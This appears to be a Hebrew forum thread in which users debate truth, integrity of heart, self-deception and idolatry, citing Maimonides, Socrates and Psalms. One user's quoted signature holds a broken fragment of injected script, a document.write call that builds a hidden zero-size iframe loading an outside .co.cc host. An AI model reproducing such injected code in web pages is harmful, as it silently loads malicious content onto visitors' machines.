| נשלח ב-14/10/2016 17:22 |
 |
| |
מהם "עקרונות" ו"אמת"
בהמשך לאשכול מאת אליקים7241, http://www.bhol.co.il/forums/topic.asp?whichpage=2&topic_id=3116694&forum_id=1364 דעותיי לגבי העיקר כולל האמת אפשר לראות במאמר אשר הבאתי קישור אליו בפרופיל, http://asif.co.il/?wpfb_dl=3044 הנה מילים משם, "אמת האדם היא לא לשקר בנפשו. העיקרון הזה תקף בכל תחומי פעילותו של האדם. ככל שיש באדם יותר יושר לב - הוא יותר אמיתי; ככל שבאדם חסר יושר- לב ככה הוא יותר שקרי חרף מדבר אמת עובדתית. דוגמה מובהקת לכך היא יעקב אבינו, איש תם. אם היה אומר ליצחק אביו את כל האמת העובדתית ככה היה הולך נגד רצון ה' כאשר עוד רבקה אמו ידעה את רצון השם כלפי בנה הקטן" אליקים7241: "לגבי היושר שהזכרת - אני מבין שיש צורך להיות "אמיתי" בנפש פנימה. ועם זאת, לא ברור לי על מה מדובר. האם כוונתך שאדם לא ירמה את עצמו? זו דרישה שכבר שמעתי עליה בחיי, ועם זאת לא ברור לי על מה מדובר. כאשר אדם מרמה את עצמו - מה בדיוק מתרחש, לדעת מי שמאמין שזה אפשרי? "רמאות" עד כמה שאני מבין, דורשת ישות מרמה, ישות מרומה, ואמצעי רמאות. ובכן, בנידון דידן, מי מרמה את מי, באיזה אופן ובאילו אמצעים? וכשמדברים על "מישהו שמרמה את מישהו", צריך להיות גם מניע למרמה. איזה מניע יכול להיות כאן?" מה מניע את האדם להשלות את עצמו? תענוג, כנראה. נעים, נגיד, לאנשים להאמין כי יבוא איש אידאלי, ויסדר את כל העניינים, ולא יהיה רע, רק חיים נצחיים עם תאבון מושלם ותענוג בלתי פוסק. אם לא היה נעים, אז לא היו מאמינים.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
 |
|
|
|
|
| נשלח ב-31/3/2017 09:40 |
|
| |
| איה_האמת כתב: |  |
עם אלוקים בר-תקשורת הם לא מסתדרים שכלית, בגלל בעיית הרוע.
|
|
מה הבעיה עם הרוע?
עם יוצר אור ובורא שלום הם מסתדרים שכלית?
"יוֹצֵר אוֹר וּבוֹרֵא חֹשֶׁךְ עֹשֶׂה שָׁלוֹם וּבוֹרֵא רָע אֲנִי יְהוָה עֹשֶׂה כָל אֵלֶּה."
|
|
|
|
| נשלח ב-26/3/2017 17:27 |
|
| |
| שלישישי כתב: | | ינוח,
כשמאות אלפי יהודים מתפללים מתוך אמונה תמימה שיש אלהים ששומע
את תפילתם, אין מה לבוא אליהם בשום טרוניה.
אבל, כשיש מי שמפלל לאליל שלא שומע את תפילתו,
הריהו עובד עבודה זרה שמשים עצמו לצחוק וזה לא משנה אם הוא מרוקאי או פרופסור. |
|
אמת. אבל האנשים הללו נקלעו למצוקה נפשית קשה:
העולם ללא אלוהים הוא ג'ונגל חסר משמעות, ואין תכלית לחיים.
עם אלוקים בר-תקשורת הם לא מסתדרים שכלית, בגלל בעיית הרוע.
הדרך היחידה בה הם מצאו משמעות לחייהם, היא דרך התחברות לאלוקים טרסנדנטי כלשהו.
נכון, לא הגיוני, וזאת בדיוק הסיבה שי"ל ביצע הפרדה בין החשיבה המדעית לבין הצורך הנפשי האנושי. כי חיבור של שניהם הוביל אותו לאובדן משמעות.
|
|
|
|
| נשלח ב-26/3/2017 14:22 |
|
| |
ינוח,
כשמאות אלפי יהודים מתפללים מתוך אמונה תמימה שיש אלהים ששומע
את תפילתם, אין מה לבוא אליהם בשום טרוניה.
אבל, כשיש מי שמפלל לאליל שלא שומע את תפילתו,
הריהו עובד עבודה זרה שמשים עצמו לצחוק וזה לא משנה אם הוא מרוקאי או פרופסור.
|
|
|
|
| נשלח ב-26/3/2017 13:09 |
|
| |
| שלישישי כתב: | |
אלפי יהודים מתפללים מדי יום. |
|
פעם עשינו שעור תורה בנושא עבודה זרה. הבאתי דוגמה מ"משנה תורה" לגבי עבודה זרה אצל יהודים, כאשר שמים ספרי קודש על תינוק שלא יבכה. ואז קמה בחורה נחמדה ממוצא מרוקאי ואמרה, -
מה זה, הרי הרמב"ם הוא מרוקאי ואצלנו כווולם כך עושים!
אז גם מספיק אחד מרוקאי שעצר וחשב כדי לא ללכת לאיבוד לכל האומה.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-26/3/2017 12:06 |
|
| |
| ינוח כתב: | |
אז "למי אתה מתפלל?" אפשר לשמוע קולות, לחוק? _________________
לְיִשְׁרֵי-לֵב שִׂמְחָה |
|
אלפי יהודים מתפללים מדי יום. הם מאמינים שהאלהים שאליו הם מתפללים,
שומע, רואה ומדבר.
יש אנשים משונים כ-י"ל וסיעתו, שמפללים לאליל חרש, עיוור ואילם.
עליהם נאמר בתהילים קטו,
א לֹא לָנוּ יְהוָה, לֹא-לָנוּ: כִּי-לְשִׁמְךָ, תֵּן כָּבוֹדעַל-חַסְדְּךָ, עַל-אֲמִתֶּךָ.
ב לָמָּה, יֹאמְרוּ הַגּוֹיִם: אַיֵּה-נָא, אֱלֹהֵיהֶם.
ג וֵאלֹהֵינוּ בַשָּׁמָיִם כֹּל אֲשֶׁר-חָפֵץ עָשָׂה.
ד עֲצַבֵּיהֶם, כֶּסֶף וְזָהָב; מַעֲשֵׂה, יְדֵי אָדָם.
ה פֶּה-לָהֶם, וְלֹא יְדַבֵּרוּ; עֵינַיִם לָהֶם, וְלֹא יִרְאוּ.
ו אָזְנַיִם לָהֶם, וְלֹא יִשְׁמָעוּ; אַף לָהֶם, וְלֹא יְרִיחוּן.
ז יְדֵיהֶם, וְלֹא יְמִישׁוּןרַגְלֵיהֶם, וְלֹא יְהַלֵּכוּ; לֹא-יֶהְגּוּ, בִּגְרוֹנָם.
ח כְּמוֹהֶם, יִהְיוּ עֹשֵׂיהֶם כֹּל אֲשֶׁר-בֹּטֵחַ בָּהֶם.
|
|
|
|
| נשלח ב-26/3/2017 03:30 |
|
| |
| כפויגיגית כתב: | | | באופן שווה, כשהגדרתי את התורה כאמת, זה אך ורק בתוך מודל אישי שבו התורה היא הדבר היחיד שקרוי אמת משלל השמות ותארים שהדבקתי לאוצר ידיעותיי. |
|
הרבי מקוצק מפרש את הפסוק "ועשיתם לכם פסל תמונת כל אשר ציווך ה' אלוהיך" (דברים, ד' כג); ולא 'אשר אסר עליך ה' אלוהיך'. מדוע? אלא שהתורה מזהירה, שגם מכל דבר שציווה עלינו אלוקים אסור לעשות פסל אלילי... אז יש לחקור מה באמת אמת היא בתורה. ניזכר במחקר מאת הרמב"ם, "שכל מה שנזכר בתורה במעשה בראשית אין כולו כפשוטו כפי שמדמה בו ההמון, ... לפי שאותם הפשטים מביאים או להפסד דמיון גדול והתדרדרות להשקפות רעות ביחס לה', או לכחש מוחלט וכפירה ביסודות התורה...
אבל הבנתם בדעה נכונה אחרי ההשתלמות במדעים המוכחים וידיעת הסודות הנבואיים הרי הוא חובה" (מו"נ ב' כט) כלומר, יש בתורה שהוא אינו אמת חיצונית, היסטורית, אלא משלי. ומה אמת היא במשל? יכול להיות, כללי התנהגות נכונים. אבל למה הם נכונים? "ואי אפשר שיודו לנו האומות במעלות החכמה והבינה, עד שיעידו לנו הראיות והמופתים ועדי השכל על אמיתת תורתנו ואומן אמונתנו" (חובות הלבבות, שער ראשון, פרק ג) אז נכונות אמורה להיות מובנת ומוכחת. טוב, הרמב"ם דווקא טוען על טעם לכל מצווה ומנסה להוכיח. אבל למה כול קורא את התורה יכול לקבל את הכללים האלה כנכונים? אי אפשר להוכיח לוגית למה "כַּבֵּד אֶת-אָבִיךָ וְאֶת-אִמֶּךָ", ויתר על כן, מי שמכבד ממניעים לוגיים דווקא את הוריו, נראה לי הוא סתם מנוול. ממניעים לוגיים אכן המיתו את הזקנים והנולדים החלשים ביוון העתיקה וארצות אחרות. אז אפשר לקבל את הכללים האלה כנכונים או כתוכי, ממניעים "פוליטיים", פרגמטיים, או כעולים בקנה אחד עם מצפון. במשל אפשר לבטא גם תובנות פילוסופיות. והחשובה היא על ידיעת הא-ל. "הוֹדִעֵנִי נָא אֶת-דְּרָכֶךָ, וְאֵדָעֲךָ". תובנה היא, לדעת את הא-ל זהו לדעת את חוקיו – דרכיו. ומה שאפשר לדעת על הא-ל, לדעת כי הוא חוק, אחד ובלתי משתנה. אבל מה זה אומר, "הא-ל אמר"? הא-ל, חוק, הוא בלתי גשמי, להוציא גלים אקוסטיים לא שייך לו. ואם מישהו שמע קול הא-ל, דרך יחידה לשמוע היא דרך מצפון, אין איבר אחר לשמוע קול הא-ל. ואם לאזור מצפון, אין זה אגדה לשמוע "לֹא תִגְנֹב" ואפילו "לֹא תִנְאָף". אם כי לשמור על דברים שכאלה יכול לגלוש לאגדה. אז "למי אתה מתפלל?" אפשר לשמוע קולות, לחוק? נכון, את החוק אי אפר למשש, ואם "חוק אומר" אז רק מצורה אלגורית, אבל, אפשר להתאים את עצמו לחוק על ידי "מדיטציה", להיזכר כי "חסדך לידעיך וצדקתך לישרי לב", היית ישר לבב כדי להשיג ולשמור את חוקיו, - תקבל, לא היית – לא תקבל. ואילו מה תקבל? בעיקר שמחת אמת. אבל דיינו, הלוואי. את השאר אפשר לקנות.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-5/3/2017 16:28 |
|
| |
"האנשים שיסכימו על יושר לב כעיקרון ראשון, יוכלו להוכיח איש את רעהו"
יישר כוחך על המשפט הזה. אין טוב וישר מנחיתה מוצלחת ממרום המחשבה לעומק המעשה.
גם בשאר דבריך נראה לשאין מקום לחלוק, וישרים ונכוחים הדברים. מבהירות המחשבה הניכרת בדבריך דומני שכתבת את דבריך כחילוק פנימי בתוך עולם היושר .
בין היושר שדואג לסדר את המחשבות של היום שלא יסתרו את המחשבות של אתמול והיושר שמונע מסתירה בין מחשבה אישית (זיכרון, רגש, ) ומחשבה ציבורית (חמשת החושים).
ומכל מקום עדיין שניהם מוגדרים כיושר כי אין לאדם אלא מחשבותיו הוא.
נ.ב. באופן שווה, כשהגדרתי את התורה כאמת, זה אך ורק בתוך מודל אישי שבו התורה היא הדבר היחיד שקרוי אמת משלל השמות ותארים שהדבקתי לאוצר ידיעותיי. ומכ"מ לכל אדם שאינו אני, אין הבדל בין התורה להארי פוטר ברמת ה"אמת" של זה.
|
|
|
|
| נשלח ב-5/3/2017 01:53 |
|
| |
| מיימוני כתב: | | היה זה כבר סוקרטס ששאל מה לעשות כאשר אדם השאיל לי סכין וכעת מבקשו בחזרה כדי לרצוח. האם אין עלי לשקר לו שהסכין אינה ברשותי מאשר להחזיר לו ושידקור?
|
|
בדבריי אני אתייחס גם אל דברי כפויגיגית.
תודה, מיימוני, על הדוגמה, את הדוגמה הזאת אני תמיד שומר במלי הראיות הבולטות.
אם כי אצל אפלטון ב"פוליטיאה" מדובר, לפי מיטב זיכרוני, לא על "כדי לרצוח", אלא בחור סתם השתגע, ואינו דבר ישר הוא לספר ישר לו את כל האמת ולחזיר לו את הנשק.
***אולם לומר שרק לאלוקים תכונות מוחלטות זה מעורר קשיים פילוסופיים ותאולוגיים בעיני. כשאנו מייחסים לאלוקים תכונות על, זה לא בא לפי הבנתי לומר שיש לו תכונות כאלו, אלא שכך אנו נאלצים לדבר אודותיו.***
מוחלט הוא במשמעו בלתי משתנה ונצחי.
***ובעיני מצא חן גם שכללת שני צדדים מנוגדים. את הדרישה ואת ההתחשבות בכך שאנו אנושיים ואיננו מסוגלים ליישם זאת לגמרי.
אין תכונות מוחלטות, וזה אני מסכים.***
תודה, חשוב לי לדעת על מה שאתה מסכים אתו. כלומר, "צדיק גמור" - אין דבר כזה בטבע ולא יכול להיות, אם כי מניח אני, מסוכן להודות בזה בחוגים מסוימים באופן גלוי.
***השאלה האחרונה שעולה מדבריך היא המעניינת ביותר. האם יתכן חוסר כנות עצמי בגן עדן? זו שאלה שצריך לחשוב עליה.***
אגב, איפה זה, גן עדן? אבל לדעתך, לא על דעת צדיקים גמורים.
***שני המילים האמורים לעיל מתחלפים זה בזה, האמת ישר והישר אומר את האמת.***
אגלה את התיאוריה שלי.
יש אמת חיצונית, ויש אמת פנימית.
מה זה אמת חיצונית? אמת חיצונית היא תואם, זהות בין דימוי שכלי לבין המציאות.
ומה זה אמת פנימית? פעילות על פי ציווי המצפון, או בשפה תנ"כית – יושר לב.
ו"צוויו המצפון" הוא מושג די מדעי. מצפון יכול לצוות לקבל משהו כתוב או נאמר כאמת חיצונית, או יכול לצוות לא לציית לציווי חיצוני מאת מישהו. ומצפון יכול לומר כי מישהו משקר לעצמו כאשר מספר אמת חיצונית כמו במקרה אמת למשוגע בדוגמה לעיל.
בכול מקרה, מושג "אמת" הוא לא רלוונטי בלי בן אדם, כי האמת מאפיינת או את תואם האדם למציאות חיצונית, או תואם למציאות פנימית.
באמנות, למשל, אמת חיצונית בכלל לא רלוונטית יכולה להיות, ואמיתי הוא האמן אשר מבטא קודם כל אמת פנימית.
בספר המדע אפשר לקבל את המודל המדעי כאמיתי באמת חיצונית.
בספר כיצירת האמנות יכול להיות הכול בדוי אשר לא היה ולא נברא, אבל מבטא את האמת הפנימית.
והספר המבטא את האמת החיצונית כביכול, אבל חסר ביטוי ישרת לבב המחבר, הספר הזה הוא לא אמיתי מבחינת ערך האמנות.
ביצירה המחפשת את ההשקפה האמיתית, בפילוסופיה האמיתית, יש צורך גם בתואם לחוקיות המציאות וגם ביטוי ליושר לב, חכמת לב.
יכולים לומר, כי המצפון אומר לאנשים שונים את הדברים השונים ואולי מנוגדים.
גם אותו איש יכול לשמוע משהו אחר עם הזמן.
קודם כול, האדם לא מושלם ולא יכול להשיג את האמת באופן מוחלט, לא את החיצונית ולא את הפנימית.
ואילו יכול להשתדל. וכדאי לו, כי בן אדם בנוי כך, כי יושר לב הוא המקור לשמחה אמתית.
האנשים שיסכימו על יושר לב כעקרון הראשון, יוכלו להוכיח איש את רעהו.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
|
| נשלח ב-28/2/2017 21:41 |
|
| |
באם נחליף את התיאור אמת בתיאור יושר אזי אז אולי יבוארו הדברים. יושר פירושו היצמדות לכללים, אין במילה "יושר" שאיפה להגדיר את המציאות כאדם העומד מבחוץ ומנסה לנחש נכונה מה מבפנים, אלא אך ורק רצון להימנע מכל סתירה כל שהיא.
שני המילים האמורים לעיל מתחלפים זה בזה, האמת ישר והישר אומר את האמת.
ההבדל הדק ביניהם הוא נקודת ההתחלה. האם יש האופן בו אני בודק אמיתות דבר הוא כמלמד אשר בידו התשובות לשאלות שהוא שאל וכל שאלה נבדקת לפי התשובות שבידו שזה ה"אמת". הרי לכסיל יחשב אדם המחליט רמת אמיתות תשובה בדבר שאינו יודע.
ע"כ מוכרח הדבר שידיעת אמת מתחלת בידיעת אמת שאפשר להשוות בין הבעיה העומדת מולנו וה"אמת" הידועה לנו.
נניח שאין לנו אמת בכיס שמאפשרת בדיקת כל דבר לאור האמת מוכרחים אנו למצוא משהו אחר שכבר ברשותנו, חפץ בכיס שיאפשר לנו לבדוק ולסמן מהו אמת ומהו שקר.
דבר זה הוא הישרות. אין אדם שאינו יכול להיות ישר באם רק ירצה. אפילו אם ידע שאין הוא ישר לגמרי בידו עלכ"פ הישרות אשר בידו תודיע לו שמוטל עליו ליישר את עצמו .
האדם מוצא בנפשו ישרות ובתורה אמת. אדם ללא ישרות אפילו האמת מונחת בפניו לא יוכל להשיגה, אדם ישר ללא אמת יתקרב לאמת וללא ספק מבחירי האדם. היהודי הישר הלומד, אשרי עין ראתה זאת.
|
|
|
|
|
| נשלח ב-12/2/2017 16:22 |
|
| |
ינוח היקר
אתה מייחס לי עקרונות נעלים, אבל זה יותר מתוך נדיבות נפשך מאשר ממה שכתבתי.
כמו כן, אני חושש מכללים ועקרונות בהקשר כזה. זאת בגלל שיש לי חשד ששום כלל פשטני אינו יכול למצות את הראוי עבור האדם, לא בין אדם לחברו ולא בין אדם לעצמו.
ועם כל זאת, קשה מאד שלא להסכים למה שכתבת.
ודאי שחשוב שאדם יהיה אמתי עם עצמו ולא ישקר לעצמו - אבל האם זה אפשרי? (וצריך להרחיב).
ודאי שיש מקרים שצריך לשקר לאחרים. אבל לאו דווקא מפני שאני איני חפץ לשקר לעצמי אלא מפני שהאלטרנטיבה גרועה יותר. היה זה כבר סוקרטס ששאל מה לעשות כאשר אדם השאיל לי סכין וכעת מבקשו בחזרה כדי לרצוח. האם אין עלי לשקר לו שהסכין אינה ברשותי מאשר להחזיר לו ושידקור?
כתבת
- אי אפשר לשמור על יושר לב באופן מוחלט, כי זה בלתי אפשרי לפי טבע האדם.
אבל אסור בכוונת תחילה לדחות את העיקרון הזה האמור להנחות את האדם בכול מאודו.
דברים אלו ראויים אליך. ובעיני מצא חן גם שכללת שני צדדים מנוגדים. את הדרישה ואת ההתחשבות בכך שאנו אנושיים ואיננו מסוגלים ליישם זאת לגמרי. (ואולי כאן אני מתחשב בגיל ובנסיון, בעוד שבהיותי צעיר ותמים ונלהב לא הייתי מוותר על הדרישות הגבוהות).
אין תכונות מוחלטות, וזה אני מסכים. אולם לומר שרק לאלוקים תכונות מוחלטות זה מעורר קשיים פילוסופיים ותאולוגיים בעיני. כשאנו מייחסים לאלוקים תכונות על, זה לא בא לפי הבנתי לומר שיש לו תכונות כאלו, אלא שכך אנו נאלצים לדבר אודותיו. שהרי אי אפשר לומר עליו מאומה (זו סתירה ועסקתי בכך באשכול החביב עלי, לך דומיה תהלה).
לפיכך, המשפט שמשווה בין חוסר היכולת למוחלטות שלנו למוחלטות של אלוקים נראה לי תמים מדי מבחינה פילוסופית.
לגבי המשפט האחרון שלך, עלי לעיין בו.
דנת במצב של "גאולה מושלמת" ודחית את האפשרות שבמצב כזה יהיו לאדם צרכים וחסרונות גם אם הוא יוכל למלא אותם מייד ובשלמות. אולם דומה שזו יותר הערה על המושג של "גאולה מושלמת". אולי איננו מסוגלים לדמיין לעצמנו משהו כזה? מפני שאם אתה שואל אותי, בהחלט אחוש בגן עדן אם אהיה בו במצב של בריאות שלימה, יכולת לאכול מעדנים ולעסוק בפעילות אינטלקטואלית, עם חברים טובים... נכון שזו נראית הנמכה של גן העדן, אבל זה עדיין יכול להיות מקום יפה ומהנה ביותר. עבורי ועבור מי שכמוני. יהיו כאלו שיעדיפו, נניח, משחק כדורגל אינסופי.
השאלה האחרונה שעולה מדבריך היא המעניינת ביותר. האם יתכן חוסר כנות עצמי בגן עדן? זו שאלה שצריך לחשוב עליה. ואיקון ירוק על האתגר...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-8/12/2016 01:24 |
|
| |
| מיימוני כתב: | | | האם דברים אלו מתחברים למה שכתבת?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לי נראה כי יש תמימות דעים בין דבריך לבין דבריי.
אנסה לנסח את העקרונות המוסכמים,
- אמתות האדם היא ביושר לבבו.
- יכולים להיות מקרים כאשר כדי לא לשקר בנפשו, האדם אמור לשקר לאחרים.
- אי אפשר לשמור על יושר לב באופן מוחלט, כי זה בלתי אפשרי לפי טבע האדם.
אבל אסור בכוונת תחילה לדחות את העיקרון הזה האמור להנחות את האדם בכול מאודו.
***תפילת "18"***
בהקשר לזה יש להודות כי אין ולא יכול להיות "צדיק מוחלט", "גאולה מוחלטת", כי מוחלט הוא רק הא-ל.
ואם לשחרר את האדם מכל עושק, וגם יחיה אלף שנים עם תיאבון מצוין, לא תהיה זאת הגאולה ובמיוחד לא שלמה, אם ישקר בנפשו בכוונת תחילה. כי שקר בנפשו הוא העושק העיקרי.
אודה על תגובתך.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-6/12/2016 08:00 |
|
| |
ינוח
קשה לי להבין על אלו תופעות אתה מדבר. זה עולם פנימי שאינו נגיש לאחרים. אמנם אנו מקוים שאנו מסוגלים להבין זה את זה, אבל כאן, בתיאור של חויות פנימיות, אנו נזקקים למטאפורות. בשיחה בין אדם לחברו על משהו בעולם הפיזיקלי, אם יש חשש לטעות, אפשר להצביע ולשאול: מה אתה רואה, לדווח: זה מה שאני רואה. אבל כאשר מדובר בחיי הנפש, אם אין תיאור ארוך ולא רק של התחושה אלא של הנסיבות, האם נוכל לברר שאנו מדברים על אותו דבר?
בכל זאת, אני רוצה להתייחס למשהו שכתבת. כתבת על תופעה שאני סבור שאני מכיר: והיא הרצון להיות אמיתי עם עצמי ועם החוץ. כלומר, לא לשקר לא לעצמי ולא לזולתי. הבעיה היא כמובן שזה לא אפשרי. וגם לא הגון. האם אומר לאחרים שהם עושים טעויות, שהבגד שבחרו הוא מכוער, שאני חלוק עליהם בהכרעות שונות בחייהם? למה לגרום להם עוגמת נפש ותחושה של מחלוקת אם לא ירצו לשמוע ממני או אין בידם לתקן?
וגם לגבי עצמי אני נאלץ להשלים עם זה שהיו ויש לי תקוות רבות מעצמי אבל איני עומד בהן. הדוגמא הפשוטה המוכרת לכולן היא לכוון בכל תפילת "18" (או אפילו בחלקה, או אפילו בברכה אחת) במובן של לא לחשוב באמצע על משהו אחר...
אפשר שאדם צריך לקבל את החלקים האפורים בעצמו. זה לא אומר לוותר אבל להבין שהתקוה להיות מושלם ולו בדברים מסויימים שאני מגדיר לעצמי זוהי תקות שוא, והעבודה שלי בעולם הזה עם עצמי היא ללמוד לחיות עם זה, לשמוח בחלקי ולהמשיך להשקיע קדימה.
האם דברים אלו מתחברים למה שכתבת?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-6/12/2016 00:39 |
|
| |
| אליקים7241 כתב: | | | ואיך אתה מפרש את הביטוי "נשברי לב"? |
|
מי שלא רק לא נוח לו נוכח שקר פנימי אלא הוא נכנס לדיכאון עכב חוסר אמת פנימי.
מצד אחד, הוא סובל יותר מאחרים, "עובי-עור", מצד שני, הדיכאון לא נותן לא להסתפק בשקר, וחיפוש אמת בשבילו הוא כבר עניין חיים ומוות, ואילו השגת האמת מביאה את השמחה האמתית אשר בלתי נותנת להשגה למסתפקים בשקר.
ואם נזכר כי אין שלם ולא יחטא, אין האדם שלם בטבעו, ושלמות היא רק יחסית, אז למקסימום שלמות מגיעים "נשברי הלב",
לכן אין שלם מלב שבור.
על פי מתווה הזה קורה מה שקורה עם הנביאים, סובלים אבל מוכרחים בכורח פנימי לחתור אל האמת.
|
|
|
|
| נשלח ב-20/11/2016 16:47 |
|
| |
קישור - באשכול "דעת א-לוהים בפילוספיה כללית" (בלי הקו)– בעמ' 11. אמונה מהותית->שכל מהותי->שכל טכני->אמונה טכנית. לדוגמא: המספר 2 "אמונה" מהותית – ריבוי (יחידה אחת מרובת פרטים). שכל מהותי – מיעוט רבים שניים. שכל טכני – אחד ועוד אחד. "אמונה" טכנית – שני אינדבדואלים. ניתן לראות בבירור שיש כאן ירידה מהסתכלות על השניים כיחידה אחת, ועד להסתכלות על השניים כמורכבים באופן שלא ניתן לאיחוד. שתי צורות השכל – הם ספירה וחשבון. שתי צורות האמונה – הם התייחסות אישית. שתי המהויות – מסתכלות על הדבר כפי שהוא. שתי החשיבות הטכניות – הסתכלות על כיצד הדבר מורכב. אני אישית בעד האמונה המהותית ובעד השכל הטכני. כי שתיהם מסודרות במה שראוי להם. כי אמונה טכנית איננה אמונה, ושכל מהותי איננו שכל. אבל יבחר לו איש איש את דרכו.
|
|
|
|
| נשלח ב-20/11/2016 01:22 |
|
| |
| מיימוני כתב: | |
אני סבור שאתה צודק. כלומר, זה איפיון נכון של מה שאנו מדברים עליו כ"איש האמת". כלומר, האידיאל.
|
|
תודה, חשוב לי לדעת כי אולי התקדמתי.
***איש האמת לא ישקר לעצמו במובן שלא יטייח עובדות לא נעימות.***
רציתי להבהיר כי הגיון טכני ביושר לב הוא משני ביחס להרגשה לפני שמדברים.
הרי הבאתי לדוגמה את המוסיקה, הרי לוגיקה בסוג, - 'אם A=B+C, אז B=A-C' -
ההיגיון כזה לא רלוונטי באמנות המוסיקה. ובעצם, בכלל באמנות הוא משני ממש.
האדם קודם כול מרגיש את השקר הפנימי, לפני שמשקיע בלוגיקה. ויכול להיות המקרה כאשר יושר פנימי מכריע בכלל לא להתעסק בלוגיקה במקרה הזה.
גם חכמת הלב-הפילוסופיה אינה חכמת לב בלא היגיון הלב. ואילו בלוגיקה 'A+B=C' יכול לעסוק גם מנוול.
אם זה ברור, אפשר לעבור גם אל השאלה מה בעצם אמת באמת התורה. בינתיים אתה יכול לחפש את התאוריה המתאימה מאלה שהבאת לעיל.
אבל קודם, האם דבריי מתאימים לנכון?
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
|
